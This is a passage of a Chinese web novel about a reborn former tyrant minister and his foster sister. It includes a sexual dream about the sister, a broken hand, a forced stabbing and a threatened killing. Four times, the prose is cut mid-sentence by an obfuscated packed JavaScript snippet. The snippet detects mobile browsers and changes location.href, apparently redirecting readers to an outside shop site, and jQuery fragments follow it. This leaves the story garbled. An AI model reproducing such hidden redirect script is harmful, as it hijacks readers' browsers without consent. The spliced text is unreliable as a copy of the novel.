季珣神色淡淡,“阿姐,你腿伤还没好,行动不便,还是我来做吧。” 姜芸薇嗔他一眼,“那怎么行呢,林公子是你的同窗,今日又是特意来找你的,你这样未免太失礼了。” 见状,林遇连忙摆手道:“不必麻烦了,饭我就不吃了,今日就是特意过来看看阿珣的,见他没事我就放心了。” 话毕,他将一本蓝色封皮的书册放在桌案上,“这是这些日子课上我做的一些摘要笔记,阿珣,你有空可以看看。” 说完,林遇站起身便要离开。 姜芸薇连忙看向季珣,用眼神暗示他开口挽留。 季珣却像是没有看懂她的暗示一般,微微一笑,“林公子,此次招待不周,下次回了学堂,我再请客做东,好好补偿林公子。” “阿珣客气了。”林遇脸色白了白,终是什么也没说,告辞离开了。 * 待到林遇离开后,姜芸薇忍不住问,“阿珣,你和林公子吵架了?” 季珣摇了摇头,“林遇素来好性子,我从未见过他和谁吵架。” 话毕,季珣一怔。 不对。 是曾见过的。 前世,他把持朝政,独断专行,铲除异己,有一次下了朝,林遇将他拦住,揪着他的衣领叱骂道:“季珣,你的书都读到狗肚子里去了,夫子教我们的难道你都忘了吗?为了一己私利,你置国家安危都不顾了吗?奸臣当道,国将不国,若不伐之,社稷难安。” 季珣思绪回笼,淡淡道:“林遇是光风霁月、怀瑾握瑜的真君子。” “阿珣,你也是啊。”姜芸薇侧过头看向他,颊边漾出浅浅的笑意,恍若明珠生晕,光彩动人,她顿了顿,嗓音又娇又软,“所以,你和林公子才能够成为好朋友。” 她身上幽幽的香气钻入鼻尖,季珣嗓音低沉喑哑,“阿姐这么觉得?” 姜芸微双眸璀璨如星,语气之中溢满了期许,“对啊,阿姐相信,阿珣一定能够出人头地,当个为国为民、清正廉洁的好官。” 季珣转开目光,意味不明的勾唇笑了笑。 只可惜,姜芸薇的心愿注重要落空了,他并不是什么渊清玉絜的真君子,只是个满手血腥、卑劣残酷的奸佞之臣。 况且这一世,他并不打算再入朝为官,那些勾心斗角,尔虞我诈的日子,他已经彻底厌倦了。 季珣话锋一转,慢条斯理的开了口,“阿姐今日外出可是遇到什么人了?好端端的怎么会突然崴了脚?” 闻言,姜芸薇顿时脸色一白,她心有余悸的开口说道:“我今日遇到葛三了,他问我借银子,我没借给他,拉扯间不小心摔倒崴了脚,阿珣,你这段时日可千万要当心,葛三这次没有得手,定然不会善罢甘休。” “原来是他。”季珣眉眼间染上一丝阴鸷的笑意。 前世,他入朝为官后,葛三不知从何处听闻,竟千里迢迢跑来京都寻他,想要讹上一笔银子。 季珣派人将他给轰了出去。 葛三怀恨在心,在京城大肆宣扬他不仁不义、六亲不认的流言。 最后,季珣派人了结了他的性命,这样一个卑贱的、无足轻重的小角色,实在轮不到他亲自动手。 不过这一世,季珣倒是不介意亲自送他一程。 * 姜芸薇腿脚不方便,做饭的事情便由季珣包揽了。 出乎意料的是,他做饭的手艺居然还不错,甚至远胜于姜芸薇。 母亲曾经在世的时候,季珣也经常会帮着做饭,想必便是那个时候积累下的经验。 吃过饭后,季珣又主动洗起了碗。 少年衣衫半挽,露出线条分明的手腕,他的肌肤冷白如玉,在日光下泛着莹润透亮的光泽,明明是做着这样的脏话,他却好似在林间烹茶煮酒一般,举头投足间透着恍若与生俱来的矜贵和高雅。 姜芸薇不禁有些唏嘘。 季珣不仅相貌生的好,就连功课也是一等一的好,夫子甚至曾经夸赞过他有状元之才,他注定是要出人头地的。 这样出众的人,不该被困在柳溪村庸碌一生。 姜芸薇正想的入神,却见季珣此刻已经洗完了碗,正抱起那桶弄脏的衣服,便朝着后院的水井边走去。 见状,姜芸薇眼皮一跳,连忙出声阻拦道:“阿珣,那些衣服你放着就好了,我一会洗。” 季珣淡淡睨她一眼,“阿姐腿伤了,还是好好将养着吧。” 姜芸薇想要开口阻拦,张了张唇却始终找不到合适的理由,只得眼睁睁的看着季珣在水井前蹲下身,揉搓清洗着她换下的那些衣物。 女子衣物本就私密,况且里面还有她贴身的肚兜和亵裤,姜芸薇想到这里,脸颊顿时火辣辣的烧了起来,心中极其的不自在。 反观季珣倒是神色如常,面上没有丝毫异样的情绪,似乎当真只是一心想要照顾腿脚不便的姐姐,心中没有任何绮念。 姜芸薇瞧见他这般神情,也逐渐冷静了下来。 罢了,两人乃是姐弟,本就应该相互扶持,如今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659064|188350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿珣已经改变了许多,愿意真心实意将她当成姐姐看待了,自己应该高兴才是! 季珣原本并无任何旖旎的心思。 直到看到衣物里出现一件淡粉色绣着牡丹图样的肚兜。 他眼眸一暗,这才后知后觉的反应过来什么。 难怪方才姜芸薇那般看着自己。 季珣脑海中清晰的浮现出姜芸薇方才的神情。 少女贝齿轻咬着唇瓣,神情忸怩的看着他,一脸的欲言又止,就连耳尖都洇开一抹绯色,恍若枝头青涩的苹果。 季珣喉结上下滚动了两下,心中的热流滚烫沸腾,似岩浆般热切。 * 夜里,季珣躺在榻上,做了一个古怪的梦。 他竟然梦到了姜芸薇。 他那懦弱、胆怯、蠢笨的阿姐。 梦中,她穿着轻薄的衣衫,藕节般白皙的双手勾缠着他的脖颈,殷红的唇一张一合,声音软糯的喊他“阿珣。” 她白皙的肌肤细腻如温玉,透着淡淡的桃粉色,腮边两缕发丝垂在脸颊边,黑眸中水意弥漫, 一副乖巧可欺的模样。 季珣心中不自觉升起了一丝凌虐欲,他情不自禁的伸出手,温热的指腹在她的红唇上重重碾过。 姜芸薇喉间发出一声细微的呢喃,她红润的嘴唇微张,唇瓣泛起一层水润潋滟的光泽,恍若春日枝头一颗熟透的樱桃,引人采撷。 女子身上的香气,像是一张细细密密的网,将他整个人笼罩其中。 季珣睫毛颤了颤,喉间不自觉发紧,就连呼吸也逐渐变得粗重。 下一瞬,姜芸薇脸颊倏然之间朝着他缓缓靠近,轻轻覆上他的薄唇。 这个生涩的吻如同燎原的火焰,终于在这一刻击溃了季珣所有的理智。 他颤抖着手解开她身上月白色的寝衣,露出女子雪白细腻的肌肤,只见她身上赫然正穿着他白日里亲手洗过的那件淡粉色牡丹肚兜,上面似乎还沾染着他手指上灼热的温度。 月色漫过窗纱,姜芸薇娇怯怯的望着他,眼中如同笼着一层薄薄的雾气,眼波勾人,痒得人心猿意马。 她浑身绵软,整个人柔弱无骨的依偎在他的怀中。 季珣大掌扣住她的后脑勺,俯身吻上她的耳垂,而后温热薄唇又如烈火蔓延般一路向下,在下巴、鼻尖、锁骨处辗转流连。 姜芸薇微微仰头,双眼迷离,面颊潮红,恍若吃醉了酒般,端的是活色生香、千娇百媚的画面。 两人呼吸交缠,季珣不断的汲取着她身上甘甜的芬芳的气息,却完全无法纾解他身上的燥热难耐。 直到姜芸薇被推倒,仰面卧在榻上,季珣身子旋即覆了上去,两人唇齿交缠,亲密无间。 窗外风雨飘摇,释放出的那一刻,一阵难以言喻的快感从尾椎处升到天灵盖。 季珣浑身冷汗涔涔,猛地从梦境中清醒过来。 他霍然翻身坐起,黑眸中满是迷茫和不解。 为何会做这样的梦,而且梦中的女子,竟然是姜芸薇。 为何偏偏是她! 9. 操心自己的终身大事 一直养了小半个月,姜芸薇的腿伤才彻底痊愈。 这段时日,陈掌柜被捕入狱,而锦绣阁也换了新的掌柜。 姜芸薇一颗心也终于安定下来,她将锁在箱子里的一百两银子取出,开始用于姐弟两人的日常花销。 母亲的丧事都已经办完了,而季珣这段时日,也重新回了学堂。 姜芸薇在青阳镇重新找了个刺绣的活计,这次的掌柜是个女子,她瞧见姜芸薇的绣品后,当场便与她敲定下了合作,价格比之前陈掌柜给的还要高出了一倍多。 起初,姜芸薇害怕再遇上葛三,每日出门都要提心吊胆的,后来却听闻,葛三喝醉了酒不知被谁打了一顿,现在瘫在床上起不来,她这才渐渐放下心来。 如今母亲去世,弟弟也去学堂念书了,只有旬假才能回来,家中只剩下了姜芸薇自己,冷冷清清,她一时竟生出了几分寥落之感。 好在季珣分外争气,甫一回书院,就拿了院试第一的名次,得了案首的称号。 姜芸薇得知消息后喜不自胜,在季母的牌位前连烧了好几炷香。 相信季母若是在天有灵,看到季珣这样有出息,也能够安息了。 而此时,云隐书院,桃花树下。 一位身着石榴红齐胸襦裙的女子正一脸羞怯的站在季珣面前,女子生的极美,眉如新月,眼似秋水,面容白皙如玉,透着淡淡的红晕,她的手中提着一个精美的食盒,“恭喜季公子夺得案首,这是我昨日亲手做的糕点,你尝尝看可合胃口。” 她的嗓音清脆娇俏,恍若出谷黄莺。 此人乃是元隐书院院士的独生女儿,王诗婉。 季珣淡淡看她一眼,语气客套而又疏离,“多谢王姑娘好意,只是某今日没什么胃口,糕点就不必了。” 闻言,王诗婉脸色一白,她神色黯然,扯了扯嘴角,强颜欢笑道:“这样啊,那就不勉强季公子了。” 几个少年透过学堂内的窗户瞧见这一幕,忍不住凑在一起窃窃私语。 “装什么呢!我真看不惯他平日里这副装模作样的做派,这次从他娘的丧礼回来后,不知染上了什么邪祟,整个人看着阴沉沉的。” “也不知道王姑娘究竟看上了他哪一点。” “依我看,他根本就是个不懂感情的冷血怪物,天煞孤星,克父又克母。” 此言一出,坐在座位上看书的林遇实在是听不下去了,他将手中的书反扣在桌面上,忍不住绷着脸开了口,道:“背后非议他人,实非君子所为。” 见为季珣打抱不平的人乃是林遇,其中一个学子忍不住嘟囔道:“林遇,我真不知道你为何要接近那小子,你瞧瞧他现在对你什么态度,他压根没将你放在眼里,更没把你当朋友,这小子目中无人,我看他压根打心底里看不起我们所有人。” 话音刚落下,便见季珣从外面走了进来。 他身形欣长,肤色冷白,脸上一丝表情也无,眼底如同深水幽潭般,冰冷而又疏离。 众人顿时噤若寒蝉。 也不知道方才说的那些话,季珣究竟有没有听到。 虽然不喜欢他,然而却也鲜少有人敢主动找他的麻烦,毕竟夫子非常喜欢他,再加上他乖戾的性子,令旁人都不敢接近。 不过方源却是个例外。 他乃是不久之前刚转学来云隐书院的。 方源的父亲乃是青阳镇有名的乡绅,仗着家中有钱有权,他胡作非为惯了,自然不将季珣放在眼里。 更何况,方源对王诗婉有意,然而襄王有意,神女无心,如今瞧见自己心目中的神女被季珣如此冷待,方源心中自然不快。 见季珣走过来,方源蓦地伸出一条腿,拦在他的面前,“不过是个穷乡僻壤之地出来的乡巴佬罢了,你还真把自己当回事了?离王姑娘远点,她不是你这个穷小子能够高攀的起的,听到没有?” 季珣睨他一眼,眼神凌厉如刀锋,浑身都透着凛冽的寒意。 在他的威压之下,方源心中竟莫名生出几分惧意。 回过神来后的方源气愤不已,自己居然被一个乡巴佬的眼神给唬住了,这要是传出去都要沦为笑柄。 方源正欲开口找回颜面,下一瞬,季珣却径直从他的脚上碾了过去。 “你!”方源看着被踩脏的鞋面,不可思议的怒瞪着季珣,“你这个臭乡巴佬,居然敢踩我,你知道我爹是谁吗?” “好吵。” 季珣蹙了蹙眉,看他的眼神如同在看什么死物,漆黑的瞳仁中无悲无喜,不带丝毫感情。 方源素来纨绔惯了,从来走到哪里都是众星捧月,何曾受过这般窝囊气,他气的伸出手,用了十成的力道,朝着季珣的脸上甩去。 季珣一把握住他的手,轻轻用力。 只听“咔嚓”一声,清晰的骨骼开裂声倏地在寂静的学堂内响起。 方源惨叫一声,挣扎着想要抽回自己的手。 然而季珣的手却如同铁钳一般,死死的箍着他。 纹丝不动。 方源额头上沁出冷汗,眸中逐渐流露出惊恐和畏惧的神情,他嘴唇嗫喏着,却半天都说不出话来。 季珣视线从他身上轻飘飘的掠过,紧接着,他收回手,径直往前走去,若无其事的回到了自己的座位上坐下。 围观的众人见状,连忙收回视线,心中惴惴不安,不敢再发一言。 学堂内鸦雀无声,落针可闻。 方才季珣的模样,就恍若一尊煞神,令人后怕不已。 林遇看着季珣挺直的背影,眸中流露出担忧之色。 他总感觉,季珣变了不少。 现在的他,阴鸷冷漠,不近人情,周身都氤氲着浓浓的危险气息。 令人不敢靠近。 …… “阿珣。” 待到下了课后,季珣正准备出学堂,林遇却突然喊住了他。 季珣顿住脚步,回头面无表情的看着他,“何事?”他的语气中透着毫不掩饰的疏离和淡漠,恍若眼前之人只是个无关紧要的陌生人。 林遇抿了抿唇,“阿珣,方源的父亲乃是青阳镇有名的乡绅,与县 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659065|188350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 令关系匪浅,只怕他此次不会善罢甘休,你往后要当心。” 季珣漆黑的瞳仁静静的望着他,他启唇道:“林遇,你对所有人都这样吗?” “什么?”林遇愣了愣,不明所以。 季珣勾了勾唇,笑容有些讥诮,“对所有人都这样心生怜悯?你以为你是救世主吗?能够救万民于水火,拯救每一个深陷囹圄境遇的可怜人,你有这个能力吗?” 林遇大脑发懵,僵在了原地。 季珣见状,在心中冷笑。 还真是和姜芸薇一样的性子。 心软,良善,正直,总是为别人着想,永远将其他人的利益放在自我前面。 简直天真愚蠢的可笑! * 清晨,刚刚下过一场雨,树叶上缀着晶莹的水珠,空气中浮动着雨水混合泥土的芳香。 姜芸薇特意起了个大早,去青阳镇买菜。 路上碰到柳溪村的王大娘,笑着同她打起了招呼,“芸娘,这么早就出门啊?” 姜芸薇弯起唇角,也露出一个笑容,“是啊,今日学堂放旬假,阿珣会归家,我想去镇上买些好菜,做给阿珣吃。” 王大娘笑的眯起了眼,“听说阿珣考了院试第一名,以后就是秀才了,当真是了不起,我们柳溪村居然也出了个秀才了,明年秋天,他是不是就要去京城参加乡试了。” 姜芸薇笑着点了点头,“是啊,读书太辛苦了,阿珣难得回来一趟,我想着去买只老母鸡,炖个鸡汤,好好给他补补身体。” 听到这,王大娘忍不住发自内心的赞扬道:“你真是勤快又贤惠,阿珣有你这样一个姐姐,真是他的福气,将来啊,不知道谁这么命好,能够娶到你。” 闻言,姜芸薇顿时红了脸,她眼神躲闪,神情羞怯,“王大娘莫要取笑我了。” “这怎么能是取笑呢!你也确实到了该嫁人的年纪了。”王大娘细细打量着姜芸薇,不得不说,这些年来,姜芸薇是出落的越来越水灵了,这皮肤白嫩嫩的,就像是豆腐一般,眼睛也是水汪汪的,简直和镇上那些大户人家的小姐没什么区别。 只不过,身世就差了点。 无父无母不说,还带了个拖油瓶弟弟,虽说往后这季珣只怕是前途无量,然而这未来的事情谁又说的准呢,倘若他一辈子没什么成就,便成了累赘。 “八字还没一撇的事情呢。”姜芸薇垂下眼帘,低声道。 王大娘忍不住劝她,“你呀,也别成天只顾着操心阿珣的事情,他如今大了,有出息了,哪里需要你来操心,你也是时候该考虑考虑自己的终身大事了,毕竟女子嫁人找夫婿,那可是一辈子的事情,马虎不得。” 知道王大娘也是在关心自己,姜芸薇没有反驳,只是乖巧的笑了笑,“多谢王大娘,我晓得了。” 瞧见她笑意盈然的模样,王大娘不由心生怜惜,多乖巧可爱的孩子啊,只可惜,如今却成了孤女,没有了爹娘,终身大事无人操心。 罢了,往后自己多帮她留意留意吧,毕竟都是乡里乡亲的,低头不见抬头见。 10. 温柔的令人毛骨悚然 姜芸薇买完菜正欲回家,却恰好撞见不远处一个男子摇摇晃晃的朝着这边走来,她定睛一看,来人竟然是王二。 两人已经许久未见,如今乍然瞧见他,姜芸薇回想起往事,心中又惊又怕。 王二似乎喝多了酒,身上满是浓重的酒气,他眯着眼睛,也认出了眼前这个恍若春日桃花般娇俏可人的女子正是姜芸薇。 曾经差点就成为了他的妻子,只可惜,被季珣从中作梗。 多日不见,她似乎越来越美了,穿着一身淡绿色的长裙,仿佛融入了身后的远山青翠之中,清新脱俗,令人见之难忘。 “芸娘,多日不见,你真是越来越漂亮了。”王二眼神肆无忌惮的在她身上来回打量着,嘴里说着轻浮之语,“这么长时间没见,想哥哥了没有?” 姜芸薇气的涨红了脸,叱骂道:“王二,你嘴巴再不干不净的,当心我去衙门告你。” “芸娘,你真是出息了,如今居然敢和我顶嘴了,听说你那个弟弟,考上秀才了,怪不得你如今翅膀都硬了。”王二打了个酒嗝,笑嘻嘻的说道:“不过你也别指望他了,他那个人冷心冷肺,不会管你的,好好找个夫婿嫁了,才是正经事,不如让哥哥我好好疼疼你吧。” 见他满身酒气,就要朝着自己靠近,姜芸薇哆嗦着手,从腰间抽出一把匕首,她将匕首横在身前,浑身都在发颤,“王二,你敢过来,别怪我对你不客气。” 匕首的刀刃锋利无比,在日光下泛着铮亮的寒光。 王二愣了一下,他用力揉了揉眼睛,似是不敢相信,素来柔弱的姜芸薇居然有胆子用匕首对着他。 果真是胆子肥了,有人撑腰了就是不一样。 许是酒气上头,亦或是笃定姜芸薇不敢真的对他怎么样,王二压根没将她手里的匕首放在眼里,他继续朝着她逼近,“芸娘,好端端的,拿出这伤人的利器做什么,当心伤了自己的身子,我可是会心疼的。” 姜芸薇喉间一紧,握着匕首的手颤抖的厉害。 这匕首是她前些日子备下的,原本是为了防备葛三,葛三这个人要钱不要命,就像狗皮膏药一样难缠,她担心葛三再来找麻烦,所以特意准备了这匕首,时时刻刻带在身上防身,毕竟如今她独自一人居住,凡事只能够依靠自己。 没想到葛三没遇到,今日却碰到了王二,这匕首也算是有了用武之地。 “你别过来!”姜芸薇心跳如鼓,恍若随时都会从胸腔里蹦出来,她从牙缝里哆哆嗦嗦的挤出一句话,“我真的会杀了你。” 哪怕她极力的控制着自己不要露怯,然而,她那局促不安的神情和颤抖的尾音还是出卖了她。 对于王二而言,她的反抗压根没有任何的威慑力,反而让他越发心猿意马起来。 美人双眸盈盈,恍若笼着一层薄薄的雾气,她怒瞪着王二,那嗔怒惊惧的模样,当真是别有一番风情。 王二醉眼迷离,许是酒气壮人胆,他不管不顾的朝着姜芸薇扑了过去,“芸娘,你就让我抱一下吧,我真是想死你了,就连梦里都是你的身影。” 姜芸薇咽了口唾沫,鬓边生出冷汗,眼尾染上一层绯红,她想要握紧匕首用力朝着王二刺去,手却颤抖的厉害,压根没有那个勇气。 她转身拔腿就跑,却蓦地撞上一个坚硬的胸膛。 姜芸薇抬起头,看到站在自己面前的男子时,紧绷的心弦顿时松懈了下来,她手指颤抖的捂住脸,眼泪不由自主的落了下来,娇声泣泣,“阿珣。” 季珣展开手臂,顺势将她揽在怀中,他看向站在不远处的王二,抬眼间目光如冰刃,周身戾气横生。 王二只感觉一股寒意顺着尾椎骨往上蔓延,酒意顿时醒了一大半,他脚下一个踉跄,整个人险些摔倒,幸好扶着身后的树,才得以站稳。 季珣目光转而落在怀中女郎身上。 姜芸薇想必是受了惊,白瓷般的小脸上满是惊惧,晶莹的泪珠凝结在浓密的睫毛上,她柔若无骨的依偎在自己的怀中,如同初生的雏鸟,对他充满了依恋之情。 季珣低低一笑,嗓音温柔却又透着几分残忍,“阿姐,既然带着刀子,为何不动手?” “阿珣,我不敢。” 姜芸薇摇了摇头,她的声线软糯,像是一片羽毛,在心尖轻轻拂过。 季珣视线在姜芸薇的脸上逡巡,他一寸寸拂过她的眉眼,漆黑的眸子里蕴出几分笑意,嗓音温柔如醇酒,“阿姐,这样可不行,今日倘若我不在,你该如何是好。” 话毕,他蓦地擒住姜芸薇握住匕首的手腕,肌肤与肌肤间触碰的那一瞬间,一股难言的颤栗感让她眼睫一颤。 姜芸薇懵懂的抬起头,双目盈盈如水,不解的望着他。 季珣牵引着她,一步步朝着王二靠近。 许是察觉到他的意图,姜芸薇瞪大了眼睛,拼命的摇着头,试图阻止他,“阿珣,不要,不要这样。” “阿姐,不要什么,他三番四次调戏欺凌阿姐,难道阿姐愿意原谅他吗?” 季珣的声音贴在她的耳廓边响起,他的嗓音低低沉沉的,温柔而又充满了磁性,如同恶魔般,循循善诱的引诱着单纯无辜的少女犯下杀戮的罪孽。 身后男子的呼吸喷洒在姜芸薇的颈间,她心口微微战栗,整个人晕晕乎乎的,大脑压根无法思考,只能下意识的跟随着季珣的动作。 王二似乎被吓傻了,整个人呆愣在原地一动不动。 姜芸薇被他带着一步一步靠近,他的手紧握着她细嫩的手腕,带着强硬的,不容拒绝的力道。 姜芸薇尝试着挣脱,却压根无法动弹。 她还未回过神来,一股极大的力道,突然握着她的手骤然用力,朝着眼前之人的右边胸膛狠狠刺了过去。 血液喷涌而出,有几滴甚至喷溅在姜芸薇的脸上。 温热的触感落在脸上,伴随着一阵铁锈般的血腥气,姜芸薇如梦初醒,吓得呆若木鸡。 “啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659066|188350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 王二惨叫一声,一阵剧烈的疼痛袭来,令他的酒意彻底苏醒了过来,他惊惧的瞪大了眼睛,望着眼前之人。 只见季珣正站在姜芸薇的身后,居高临下的望着自己,黑眸中含着几分令人毛骨悚然的笑意,他白皙的脸颊上沾染了一丝血迹,整个人恍若从地狱之中爬出的恶鬼一般可怖。 王二强忍着疼痛,转身手脚并用,蹒跚着拼命往前爬,试图离开此地。 季珣目光淡淡的望着他惊惶逃窜的身影,并没有上前追赶。 他能够感觉到,怀中女子细微的颤抖,想必是方才的场景将她给吓到了,既然如此,那就放王二一马,反正来日方长。 还真是怯懦胆小啊,很像他前世豢养的一只狸奴,是他在一个大雨之夜捡来的,见了生人便惊惧的躲在角落里不敢出来,直到养了大半年时间,才总算肯卸下防备,偶尔让他摸摸肚皮,然而,一点小小的风吹草动都能立马让它受惊逃窜。 只是后来,那只狸奴却死了。 “阿姐。”季珣回过神来,轻声唤了一句。 姜芸薇神思恍惚,她呆呆愣愣的抬起头,看向眼前的男子。 多日不见,季珣周身的气势似乎越发的冷峻了,他一身月白常服立于眼前,鸦羽似的长睫轻垂,落在自己的身上,肤色白的好似冷玉,明明是清贵高雅的相貌,然而姜芸薇却无端觉得有些胆寒。 方才那一瞬间的季珣,竟令她感到有些畏惧。 他什么时候变成这个样子了? 季珣视线一直落在姜芸薇的身上,自然没有错过她眸中那一瞬间闪过的惊惧和害怕,一股陌生的兴奋感和战栗感遽然涌上心头。 他强行压下心头翻涌的情绪,低声叹了口气,声音柔和恍若春风拂面,嗓音之中更是多了几分愧疚,“阿姐可是在怪我,那王二本就不是什么好人,他那是罪有应得,我只是想为阿姐出气。” 闻言,姜芸薇回过神来。 她手指攥紧了衣衫,内心天人交战起来。 王二落得那样的下场,确实是罪有应得,季珣也是为了替她出头,若不是他及时出现救了自己,只怕凭她自己一个人,完全不是王二的对手。 她应该感激季珣才是。 自从母亲去世后,季珣对她多加照顾,更是屡次拯救她于危险之中,于情于理,她都没有理由怪他。 姜芸薇收回思绪,她一把握住季珣的手,“阿珣,你千万不要这么说,阿姐怎么会怪你呢,我知道你都是为了我好。”她顿了顿,黛眉微颦,面上流露出几分忧虑之色,“我只是有些担心,王二会不会有什么事?毕竟杀人可是重罪。” 季珣眼敛微垂,手指轻轻覆上她的眼,拭去她眼角残存的泪珠,“阿姐,事情既然已经发生了,就不要再多想了,有我在不会有事的,放心吧。” 他声音本就极其动听,如今放柔了语调,便越发显得格外缱绻温柔,姜芸薇如同被蛊惑了,呆呆愣愣的点了点头。 11. 当然是来杀你的 两人回到家中后,姜芸薇第一时间便烧了热水沐浴。 她靠在浴桶边缘,眼帘微阖,任由水珠沿着肌肤滑落,心绪始终难以平复下来。 明明已经用澡豆揉搓了好几遍,就连娇嫩的肌肤都染上了一层绯色,姜芸薇却依然觉得周身萦绕着那股子挥之不去的血腥气。 从小到大,她就是连杀只鸡都不敢,更何况是拿着刀子捅人呢? 只要想起那一幕,便控制不住想要干呕。 许久,一直到水温逐渐冷却,姜芸薇才换好衣衫,出了房间。 季珣已经将饭菜都做好了。 他也换了一身淡青色的衣衫,柔软的发丝垂在脸侧,只是静静坐在那里,便恍若一幅水墨丹青画,清隽秀美。 见状,姜芸薇心中不禁又有些愧疚。 今日,季珣难得放旬假,却还要自己做饭。 思及此,她放柔了语调,轻声问,“阿珣,这次旬假休息多少天?” 季珣黑眸朝她瞥去。 姜芸薇刚沐浴过,锦缎般乌黑的长发披在肩头,脸颊被水汽晕出淡淡的胭脂色,身上散发着若有似无的、浅淡的幽香。 他这个姐姐,沐浴了整整快一个时辰。 不过就是身上溅了些血,便那般害怕吗? 前世,死在他手中的人不计其数,那诏狱中,剥皮抽筋、烙铁炮烙、种种酷刑令旁人闻风丧胆,而于他而言,这些却犹如家常便饭一般,甚至有传言说,他的住所内阴气极盛,时闻鬼哭狼嚎之声,夜夜都有冤魂前来索命。 只不过,他最终也没有死在冤魂恶鬼手中,而是被君王一杯毒酒葬送了性命。 这个世界上哪有什么恶鬼,有时候,人比鬼可怕多了。 季珣收回思绪,道:“明日一大早,我便要回书院了。” 姜芸薇黛眉微颦,“这么匆忙,下次只有一天假的话,便不必回来了,大老远的来回折腾,实在太麻烦了。” 季珣嗓音低沉悦耳,“留阿姐一个人在家中,我不放心。” 闻言,姜芸薇心中微微发热。 自从季母死后,她已经许久未曾体验过这种被人关心的滋味了。 他们是从小一起长大的姐弟,然而从前,季珣从未将她当成姐姐看待过,每次看她的眼神,都不带丝毫感情,如同在看什么死物。 其实,姜芸薇是难过的,她一直努力想要对他好,季珣却从未给过她这个机会。 好在季母去世后,他总算是长大了不少。 只可惜,她的年龄也大了,兴许过不了几年,就会嫁给别人,这样一来,就不能再时时刻刻照顾他了。 季母对她恩重如山,她无以回报,只能够偿还在季珣的身上,这些年,她始终将他当成亲弟弟一样看待。 * “阿珣,你稍等片刻,我去拿些东西,你明日一起带去学堂。” 待到吃过饭后,姜芸薇突然说道。 话毕,她走到屋内,拿出一个大包袱递给季珣,“阿珣,这是我这些时日给你做的衣裳,你看看合不合身,另外里面还有一些我做的腌菜和腊肉,你记得带去学堂吃。” 她絮絮念叨着。 季珣一怔。 他打开一看,竟是上次他们一起买的布做的衣裳,靛青色的锦缎袍子,衣襟和袖口处用银色的丝线镶绣着繁复的腾云祥纹,针脚匀称绵密,看的出来分外用心。 季珣轻轻摩挲着手中的衣裳布料,脑海中不禁浮现出姜芸薇坐在榻边,对着昏黄的油灯,一针一线缝制衣服的场景,她那般节俭,定然舍不得用蜡烛照明,长此以往,实在太伤眼睛。 季珣垂下眼帘,眸中情绪莫测。 沉默须臾,他脱下外袍,换上新衣。 这一身衣裳穿在他身上,果真衬的他风姿清绝,整个人透着一股子难以言说的矜贵气质,皎皎如月华般高雅。 姜芸薇满意的点了点头,赞扬道:“阿珣生的俊俏,穿什么都好看。” 季珣抿唇一笑,眉眼间多了几分柔软缱绻,“多谢阿姐,我很喜欢。” * 夜半时分,万籁俱寂,月亮隐去,只余稀疏寥落几颗星子挂在天边。 葛三躺在床上,腿痛的睡不着。 前段时日,他刚从赌坊出来,突然不知从何处窜出来一群流民,二话不说便将他给打了一顿,脚便是那个时候断的,连日来,他都卧床不起,好些日子没摸到骰子,他简直快要憋坏了。 倘若让他知晓那些流民背后指使之人是谁,他一定要他们好看! 窗外微风轻拂过树梢,发出沙沙的声音,葛三独自一人住在城郊破旧的茅草屋,厅堂内很昏暗,屋内潮湿又阴凉,空气中都弥漫着一股子腐朽发霉的气味。 破败的木门蓦地发出“吱呀”一声轻响,像是被风给吹开了,葛三皱紧了眉头,口中又忍不住骂骂咧咧起来,“都怪那对丧门星姐弟占了老子的房子,害我只能睡在这个破屋子里,等老子腿好了,一定要你们好看。” “你想要谁好看?” 屋内蓦地响起一道冰冷的嗓音。 葛三大骇,借着窗外微弱的月光,瞥见面前不知何时站了一道人影。 是季珣。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659067|188350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 月色下,他白皙的面容透着几分妖异,一双眼睛冰冷似寒潭,杀意在空气中弥漫开来。 葛三悚然一惊,惊呼出声,“你怎么在这里?” 季珣唇角勾起一抹讥诮的笑,“当然是来杀你的。” 